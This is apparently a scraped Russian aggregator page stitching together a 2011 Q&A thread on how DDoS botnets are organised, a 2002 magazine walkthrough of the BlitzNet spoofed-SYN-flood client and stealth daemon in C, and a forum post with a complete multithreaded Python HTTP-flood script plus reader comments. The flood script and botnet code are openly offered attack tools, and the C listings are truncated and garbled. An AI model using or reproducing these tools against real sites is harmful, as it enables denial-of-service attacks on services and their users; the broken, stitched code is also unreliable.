Как создать ddos программу

не совсем дорубаю. видел архитектуру ДДоС атаки. Участники: 1-атакующий 2-демоны 3-зомби-сеть. Не могу понять каким образом атакуюўий подгребает под себя демонов и как демоны в свою очередь организуют зомби-сеть. реализуется ли это все одной программой? и как в последствии атакуюўий отдает команду о начале атаки? Спасибо за ответ.

10 ноя 2011 в 9:43
Вы бы лучше поинтересовались как от них защититься.. хакеры млин=\
10 ноя 2011 в 13:51
что бы уметь защищаться, нужно знать, как нападают. А иначе построить качественную защиту нельзя.
10 ноя 2011 в 14:21

Абслолютно согласен с KoVadim. изуется атака не в корыстных целях, уверяюю.
11 ноя 2011 в 12:44

2 ответа 2

Сортировка: Сброс на вариант по умолчанию

DDOS. Начиная со второго абзаца — теория. Практика в большинстве случаев заключается в запуске команды ping или аналогичной. Если запущено с нескольких компов — это будет ddos.

  1. ping -n 65000 пишем в нескольких консолях. Пояснение: в левом нижнем углу клавиатуры есть кнопочка Ctrl. Двигаясь от нее вправо, находим кнопку, внеше отличающуюся от alt, ctrl, fn и пробела. Чаще всего, на ней нарисованы четыре перекрученных квадратика. Если такой кнопки нет, выкидываем клавиатуру и покупаем следующую. Кнопка эта называется WIN. Жмем ее и, не отпуская, R. Win+R. Если ОС — Windows, откроет черный экранчик с серыми буквами. Там набираем то, что указано в самом начале. Повторяем пункт несколько раз не закрывая черный экранчик.
  2. огребаем сначала от провайдера. Пояснение: провайдер(группа суровых мужиков и, редко, теток, которые весь день занимаются тем, что раздают интернет), обнаружив, что от кого-то идут пинги в диком количестве, сначала поинтересуется адресом данного абонента, потом тихонечко прекратит раздавать ему интернет и будет ждать звонка. На звонок ответит, что надо было читать пользовательское соглашение, в котором русским по белому написано, что данная деятельность незаконна.
  3. потом от того, кого пинговали, потому что это именно он настучит провайдеру на вас.
  4. потом от мамы, потому что мама хотела посидеть в инете, а тут такая подстава. Да еще и штраф, небось, будет.
  5. . // дальнейшая ваша судьба зависит от суровости 2,3,4, а так же от количества пакетов, которые вы успели отправить.
  6. PROFIT!

Отслеживать
ответ дан 9 ноя 2011 в 13:27
25.8k 1 1 золотой знак 36 36 серебряных знаков 69 69 бронзовых знаков
да-да, в особенности опишите процесс отгребания, думаю вопрос с ддосом отпадет сам собой =)
9 ноя 2011 в 14:17
Готово. ^___^ троллЪлицо
9 ноя 2011 в 14:20

КАК Я ЗАКАЗАЛ DDOS-АТАКУ В ДАРКНЕТЕ и ОТКЛЮЧИЛ ВСЕ САЙТЫ! (не делайте этого…)

9 ноя 2011 в 14:23
Спасибо, улыбнуло 🙂
9 ноя 2011 в 14:40

подозреваю, что «демоны» — это сервера, которые раздают указания «зомби». То есть, зомби (просто зараженные машины) с определенным интервалом подключаются к «демонам» и смотрят, нет ли там «заданий». Если есть — исполняют. А команда отдается очень просто — на сервера демонов выкладывается файл с заданием (а может просто запись в базу, и что угодно).

DDoS атака на сайт школы

Организуется ли все это одной программой? теоретически можно так сделать, но на практике — не нужно. Зачем, что бы у каждого зомби был пульт управления сетью? Да и лишние мегабайты.

10 ноя 2011 в 13:49

Попробую серьезно ответить)

Для начала читайте все, что найдете, по ботнетам. Создаются они обычно тихими вирями, которые сидят, никого не трогают и раз в N минут шлют запрос на «базу». База может быть одним сервером или несколькими, тогда запросы чередуются.

Когда на базе обнаруживается задание (обычно передаются в виде структуры, напр. «1/2/123.45.67.89:80/4/register.php?save=1» может означать «задача 1 (ддос), метод 2(гет) на IP 123.45.67.89 порт 80, интенсивность 4, адрес долбежки /register.php?save=1 «), бот начинает его выполнять. Соответственно, в нем должны быть обработчики для каждого задания. Как правило, для гет- и пост- атак предварительно на сайте выбираются некэшируемые, тяжелые страницы (новости, логин, юзерские галереи и пр.).

По сути главные сложности — написание вирей (а их такого рода довольно сложно спалить, ибо поведение в «stand by» мало чем от аси отличается) и организация базы. Вторая сложность — скрыть отношение между базой и вами, ну и ботами и вами, но это проще. Особые умельцы закладывают адрес базы как результат псевдослучайного генератора, тогда в случае падения основной базы все боты перекинутся на следующий адрес. Т.о. при накрытии базы не удается идентифицировать создателя, а боты тупо меняют адрес и продолжают работу, тогда остается только громко звать на помощь каспера или человека-паука.

Ну и соответственно вирусы тут вам писать не будут, а вот организовать базу на фрихостинге вполне можно с помощью и сердечной поддержкой анонимайзеров, коих в сети не великое, но таки множество.

Читайте также:
Как сделать программу исключением для антивируса

Ах да, защита)) Защищаемся от пинга блокировкой IP больше лимита Q запросов на T сек, от гета-поста: lvl1 та же блокировка, lvl2 проверка на кол-во одинаковых запросов (если страничка специфичная, а запросы шкалят — блок, в зависимости от опасности, IP или страницы), lvl3 эвристика всякая, капчи и прочее.

Источник: ru.stackoverflow.com

Пишем софт для DDoS

DDoS атака (Distributed Denial of Service Attack) — это распределенная атака на отказ в обслуживании. От обычной DoS атаки отличается тем, что в процессе участвует не один компьютер, а множество компьютеров, подчиняющихся командам атакующего.

DDoS атаки относительно новы. Впервые Интернет-общество серьезно столкнулось с ними 7 февраля 2000 года. Тогда в течении недели на несколько часов были выведены из строя такие известные сайты, как Yahoo, Buy.com, eBay, Amazon, Datek, E*Trade и CNN.

Сейчас 2002 год, но DDoS атаки до сих пор практически невозможно отслеживать заранее и предотвращать, и вряд ли это станет возможным в ближайшем
будущем.

:: Немного лирики

DDoS атаке предшествуют взломы сотен (а иногда и тысяч) компьютеров, на которые устанавливается специальный DDoS софт, позволяющий проводить координированные DoS атаки (обычно используются flood атаки) на сайты жертв.

В деталях это выглядит следующим образом: атакующий ищет слабо защищенный компьютер, вломиться в который не составляет проблемы. Затем на взломанную систему устанавливается софт, который будет скрывать следы взлома (например, скрывать процесс, запущенный атакующим, чтобы в дальнейшем контролировать данную систему). А потом осуществляется то, ради чего, собственно, система и была взломана: запускается процесс, ожидающий команды из Интернета начать атаку на определенную жертву. После этого адрес захваченного компьютера заносится в базу данных. Все эти шаги достаточно
автоматизированы и повторяются до тех пор, пока количество «рабов» не достигнет необходимой атакующему отметки. В итоге получается DDoS сеть, т.е. имеются компьютеры с установленным на них DDoS софтом, а атакующий знает их адреса.

С наступлением часа X атакующий просто запускает программу, которая посылает команды начать атаку на определенную жертву всем захваченным компьютерам по адресам, хранящимся в специальном файле. Когда атакующий
решает прекратить DDoS атаку, он опять же просто запускает программу, которая пошлет по тем же адресам команды прекратить безобразие.

Рассмотрим DDoS софт на примере BlitzNet by phreeon, написанный частично на Си (если не знаешь Си, смотри
«A quick introduction to C — learn programming in one
day» Mixter’а), частично на TCL (можешь посмотреть статью Forb’а «Кодинг на
TCL», Xakep
#030).

BlitzNet (Blitz Network) написан для того, чтобы проводить spoofed syn flood атаку с множества разных компьютеров без логина на них. Дистрибутив включает в себя следующие файлы:
blitz.c (клиент), blitzd.c (сервер),
rush.tcl, уже скомпилированный spoofed syn flooder
(slice2) и README. На взломанную систему помещаются 2 файла: blitzd и slice2. А у атакующего должны быть 4 файла: rush.tcl, shell.list, blitz и strobe (rush.tcl использует blitz для связи c компьютерами, адреса которых находятся в shell.list, а strobe нужен rush.tcl для проверки тех компьютеров). Файл shell.list должен иметь примерно такой вид:

192.9.49.33 31337
199.185.137.3 9999
216.200.201.193 6969

Первая часть строки — ip адрес компьютера, вторая — порт, на котором висит blitzd.

Клиентская часть BlitzNet устанавливает TCP соединение с указанным сервером (argv[1]) по указанному порту (argv[2]) и пересылает демону адрес для подмены адреса компьютера, проводящего атаку, (0 для случайного); адрес жертвы ; нижний предел диапазона атакуемых портов ; верхний предел , продолжительность атаки в секундах и количество одновременно
работающих процессов slice2 .

Чтобы установить Интернет соединение, нужно использовать сокеты. Сокеты бывают двух типов: потоковые (TCP) и датаграммные (UDP). Кроме того, сокеты делятся по областям (domain) на сокеты Интернета и сокеты UNIX (локальные). И еще с сокетом ассоциируется определенный протокол.

Области и типы определяются числовыми константами, но обычно вместо циферков используются буковки, точнее, символические имена (задаваемые #define). Потоковые сокеты имеют тип SOCK_STREAM, датаграммные — SOCK_DGRAM; области Интернета соответствует константа PF_INET (иногда вместо PF_* используется AF_*), области UNIX — PF_UNIX (в POSIX вместо PF_UNIX используется PF_LOCAL, но PF_UNIX допустима почти всегда, т.к. используется в огромном количестве существующих программ). Протокол система может выбирать автоматически, если функциям сокетов передается значение 0.

Как же написать TCP клиента? Прежде всего, нужно подключить библиотеки, необходимые для работы с сокетами:

#include
#include // Для структуры sockaddr_in

Далее, необходимые переменные:

// Аналог дескриптора файла
int sockfd;

struct sockaddr_in address;

На FreeBSD и, наверное, на всех других NIX системах, эта структура выглядит следующим образом:

/*
* Socket address, internet style.
*/
struct sockaddr_in u_char sin_len;
u_char sin_family;
u_short sin_port;
struct in_addr sin_addr;
char sin_zero[8];
>;

Интерес представляют поля sin_family (что-то типа области), sin_port (порт) и sin_addr (адрес хоста).

А потом, собственно, подключаемся к сокету на
удаленном компьютере:

// Создать сокет
sockfd = socket(AF_INET, SOCK_STREAM, 0);

// Построить адрес удаленного компьютера

bzero( // Очистка структуры (не обязательно)

address.sin_family = AF_INET;
address.sin_addr.s_addr = inet_addr(«host»);
address.sin_port = htons(atoi(«port»));

// Подключиться
connect(sockfd, (struct sockaddr *)

// Сделать что-то с сокетом
write(sockfd, . );
read(sockfd, . );

Читайте также:
Как пользоваться программой starter

// И отключиться после завершения
close(sockfd);

На Перле написать это куда проще (может, я соберусь и напишу на нем аналог BlitzNet), но знание, как это делается на Си тебе не помешает.

А вот и Blitz клиент:

int main(int argc, char *argv[])
int i;
int sockfd;
int len;
struct sockaddr_in address;
int result;
char cmd[128];
char ch;

sockfd = socket(AF_INET, SOCK_STREAM, 0);
address.sin_family = AF_INET;
address.sin_addr.s_addr = inet_addr(argv[1]);
address.sin_port = htons(atoi(argv[2]));
len = sizeof(address);
result = connect(sockfd, (struct sockaddr *)

if(result == -1) printf(«%s->%s: connection refused!n», argv[1], argv[4]);
exit(1);
>

Серверная часть Blitz Network сначала предпринимает некоторые шаги для маскировки, в частности, забивает все аргументы нулями, а себя маскирует под что-нибудь. Потом происходит непосредственно прием информации, передаваемой клиентом, и запуск slice2 с полученными от клиента аргументами.

Написать типичный TCP сервер не так уж и сложно. Сначала все те же библиотеки, почти те же переменные, так же создаем сокет:

int server_sockfd, client_sockfd;
struct sockaddr_in server_address;
struct sockaddr_in client_address;

// Создать сокет
server_sockfd = socket(AF_INET, SOCK_STREAM, 0);

// Заполнение структуры address несколько отличается:

bzero(
server_address.sin_family = AF_INET;
server_address.sin_port = htons(atoi(«port»);
server_address.sin_addr.s_addr = htonl(INADDR_ANY);

Разница в server_address.sin_addr.s_addr. Вместо адреса определенного хоста используется INADDR_ANY — специальный адрес, означающий «прослушивание на всех интерфейсах».

// Далее вместо connect() используем bind()
bind(server_sockfd, (struct sockaddr *)

Потом процесс сервера создает дочерний процесс, который принимает подключения. Это удобно сделать так:

switch (fork()) case -1:
perror(«fork»);
return 3;
break;
default:
close(server_sockfd);
return 0;
break;
case 0:
break;
>

// Теперь необходимо установить очередь для входящих сообщений
listen(server_sockfd, 5);

Числовой аргумент функции listen() определяет количество не принятых функцией accept() подключений, которые будут поставлены в очередь.

// Потом в цикле происходит прием подключений
for (;;) b = sizeof(client_address); // b имеет тип int
client_sockfd = accept(s, (struct sockaddr *)b);

// Делаем что-нибудь
read(client_sockfd, . );
write(client_sockfd, . );

// И отрубаем
close(client_sockfd);
>

Но blitzd написан каким-то странным способом, в котором я до конца не разобрался. То же самое можно было написать на том же Си куда проще, но я привожу исходник AS
IS:

int main(int argc, char *argv[])
int x;
char stealth[128];
char good, bad;
time_t timeval;
int server_sockfd, client_sockfd;
int server_len, client_len;
struct sockaddr_in server_address;
struct sockaddr_in client_address;
int result;
fd_set readfds, testfds;

good = ‘.’;
bad = ‘!’;
if (argc < 2) fprintf(stderr, «blitzd by phreeon / hydran»);
fprintf(stderr, «syntax: %s n», argv[0]);
exit(1);
>

server_sockfd = socket(AF_INET, SOCK_STREAM, 0);

server_address.sin_family = AF_INET;
server_address.sin_addr.s_addr = htonl(INADDR_ANY);
server_address.sin_port = htons(atoi(argv[1]));
strcpy(stealth, argv[2]);
for (x = argc-1; x >= 0; x—) memset(argv[x], 0, strlen(argv[x]));
>
strcpy(argv[0], stealth);
server_len = sizeof(server_address);

bind(server_sockfd, (struct sockaddr *)
listen(server_sockfd, 5);

FD_ZERO(
FD_SET(server_sockfd,
while(1) char cmd[128], realcmd[512];
int fd;
int nread;

else read(fd, cmd, 128);

/* argument descriptions */
/* ——————— */
/* source target startport stopport dupes duration */
/* 0 127.0.0.1 3 2000 2 360 */

На этом все. Листинг rush.tcl я приводить не буду, т.к. особых познаний в TCL не имею, разберись с ним сам, если хочешь. И надеюсь, ты не будешь использовать полученные знания во имя зла >:-F~.

Distributed Denial of Service Attacks by Bennett Todd
Perl: библиотека программиста -> Сокеты
FreeBSD Developers’ Handbook -> Chapter 7 Sockets

Источник: xakep.ru

Статья Пишем свой DOS скрипт на Python3

Для начала разберемся что такое DOS и в чем различие от DDOS.

DoS (аббр. англ. Denial of Service «отказ в обслуживании») — хакерская атака на вычислительную систему с целью довести её до отказа

Если атака выполняется одновременно с большого числа компьютеров, говорят о DDoS-атаке (от

Ссылка скрыта от гостей

Distributed Denial of Service, распределённая атака типа «отказ в обслуживании»). Такая атака проводится в том случае, если требуется вызвать отказ в обслуживании хорошо защищённой крупной компании или правительственной организации.

Думаю вы поняли. Если проще объяснить различие, то получится так: ddos — много атакующих и одна цель. dos — один атакующий и одна цель.

Цель этой статьи — написание скрипта для отсылки большого количества пакетов на удаленную машину с целью довести её до отказа.
Отказ произойдет на том моменте, когда пакетов будет слишком много и компьютер не будет успевать обрабатывать их и отсылать ответ.

Давайте сначала установим зависимости для нашего Python3. Их всего 3: colorama, requests, threading.
Команда, которой вы можете это всё установить под Linux:

sudo apt update sudo apt install python3-pip pip3 install colorama pip3 install threading pip3 install requests

Объясню для чего нужна каждая зависимость.
colorama — библиотека, которая упростит работу с цветами в консоли. Можете обойтись без неё, использую спец. символы консоли, как в .sh скриптах, либо всё сделать одного цвета.
requests — библиотека, которая позволит отправлять post/get запросы на удаленный сервер.
threading — библиотека, которая обеспечит многопоточность программы. Многопоточность увеличит скорость.

Приступим к написанию.

Сначала импортируем наши библиотеки, которые мы установили несколько минут назад.

Читайте также:
Не работает программа vkmusic 4

import colorama import threading import requests

Дальше напишем функцию, которая будет отправлять запросы и контролировать состояние цели:

def dos(target): while True: try: res = requests.get(target) print(colorama.Fore.YELLOW + «Request sent!» + colorama.Fore.WHITE) except requests.exceptions.ConnectionError: print(colorama.Fore.RED + «[+] » + colorama.Fore.LIGHTGREEN_EX + «Connection error!»)

В этой функции мы входим в бесконечный цикл (кстати он нам не страшен, так как у нас много потоков и это всё работает постоянно.), так как завершать работу программы
мы будем сочетанием клавиш ctrl+c. Так же вы можете модифицировать функцию, например как только сервер начал не отвечать прекратить работу. Ну это дело вкуса. Всё в ваших руках.

Дальше приступим к главному коду.

threads = 20 url = input(«URL: «) try: threads = int(input(«Threads: «)) except ValueError: exit(«Threads count is incorrect!») if threads == 0: exit(«Threads count is incorrect!») if not url.__contains__(«http»): exit(«URL doesnt contains http or https!») if not url.__contains__(«.»): exit(«Invalid domain») for i in range(0, threads): thr = threading.Thread(target=dos, args=(url,)) thr.start() print(str(i + 1) + » thread started!»)
Ссылка скрыта от гостей
Как выглядит рабочая программа

Снимок экрана в 2019-07-31 19-44-01.png

Полный код

import colorama import threading import requests def dos(target): while True: try: res = requests.get(target) print(colorama.Fore.YELLOW + «Request sent!» + colorama.Fore.WHITE) except requests.exceptions.ConnectionError: print(colorama.Fore.RED + «[+] » + colorama.Fore.LIGHTGREEN_EX + «Connection error!») threads = 20 url = input(«URL: «) try: threads = int(input(«Threads: «)) except ValueError: exit(«Threads count is incorrect!») if threads == 0: exit(«Threads count is incorrect!») if not url.__contains__(«http»): exit(«URL doesnt contains http or https!») if not url.__contains__(«.»): exit(«Invalid domain») for i in range(0, threads): thr = threading.Thread(target=dos, args=(url,)) thr.start() print(str(i + 1) + » thread started!»)

Не судите строго, моя первая статья. Лучше напишите, что не так, что понравилось и еще какую-нибудь критику. Всё прочитаю, всё исправлю!
Всем спасибо за внимание!

pp11

Well-known member
Green Team

Caliot

One Level
21.05.2019 6 2
Можно добавить argv или click чтобы быстро запускать и добавить

#!/usr/bin/env python3
(примерно так ./*.py -t * —thread *) )

pp11

Green Team
16.09.2018 202 82
Можно добавить argv или click чтобы быстро запускать и добавить
#!/usr/bin/env python3
(примерно так ./*.py -t * —thread *) )
Определено можно. Как я написал в статье:
Всё в ваших руках.

Я всего лишь привел пример моей реализации такого типа ПО. Читатели же могут переделать, модифицировать, как хотят, если считает это нужным.

penguinz

One Level
30.04.2018 8 15
И сколько запросов выдает это чудо?

Kotik_Begimotik

Green Team
29.12.2018 36 6
И сколько запросов выдает это чудо?

Как понять сколько? В секунду? В час? Сутки? Десятилетие?

Да и вообще, я так понимаю что данный скрипт был написан в образовательных целях и производительности от него ждать не стоит.

pp11

Green Team
16.09.2018 202 82
И сколько запросов выдает это чудо?

  1. Ваше интернет соединение. Скорость интернет соединения.
  2. Количество потоков.
  3. Время.

moeimya

Green Team
02.04.2017 36 7

а че не через сокет?

Определено можно. Как я написал в статье:

Я всего лишь привел пример моей реализации такого типа ПО. Читатели же могут переделать, модифицировать, как хотят, если считает это нужным.

как может читатель переделать если ты не объяснил что можно переделать и как? никакой инфы по работе реквеста-_-

Calibre

Green Team
22.04.2018 39 28

Стоит добавить:
1) объяснить, что такое библиотека реквест и зачем она;
2) измерить количество отправляемых пакетов в течении нескольких сек-минуты
3) и вообще хорошим тоном считается комментирование каждой строчки кода.

iBragimoff

Green Team
09.07.2019 83 19
объяснить, что такое библиотека реквест и зачем она;
Вам прямиком в Google

snovvcrash

One Level
17.09.2018 4 54

threading (равно как и multiprocessing ) — дефолтные модули для питонов, их не нужно ставить через pip. И pip3 install pip3 install . режет глаз, install’у можно подавать множественные аргументы как pip3 install . . Но это так, просто к слову)

Calibre

Green Team
22.04.2018 39 28
Вам прямиком в Google

Люблю остряков (нет).
Я сам питонист и свои гуглы оставьте себе.
Человек спросил, что не так, что добавить к посту — именно ему это и адресовано.

А вам прямиком за книжку по манере и этике.

iBragimoff

Green Team
09.07.2019 83 19

Люблю остряков (нет).
Я сам питонист и свои гуглы оставьте себе.
Человек спросил, что не так, что добавить к посту — именно ему это и адресовано.

А вам прямиком за книжку по манере и этике.

Боюсь спросить, в каком месте вы заметили нарушение этикета?

pp11

Green Team
16.09.2018 202 82

а че не через сокет?

как может читатель переделать если ты не объяснил что можно переделать и как? никакой инфы по работе реквеста-_-

Я сделал через реквест. Зачем мне объяснять как делать по другому, если так все работает.

1) объяснить, что такое библиотека реквест и зачем она;

Я вроде написал краткое описание к каждой зависимости. Также описал для чего мы ее будем использовать. Если нужна подробная информация, то для этого действительно лучше подойдёт Google https://codeby.net/threads/pishem-svoj-dos-skript-na-python3.68593/» target=»_blank»]codeby.net[/mask_link]

Рейтинг
( Пока оценок нет )
Загрузка ...
EFT-Soft.ru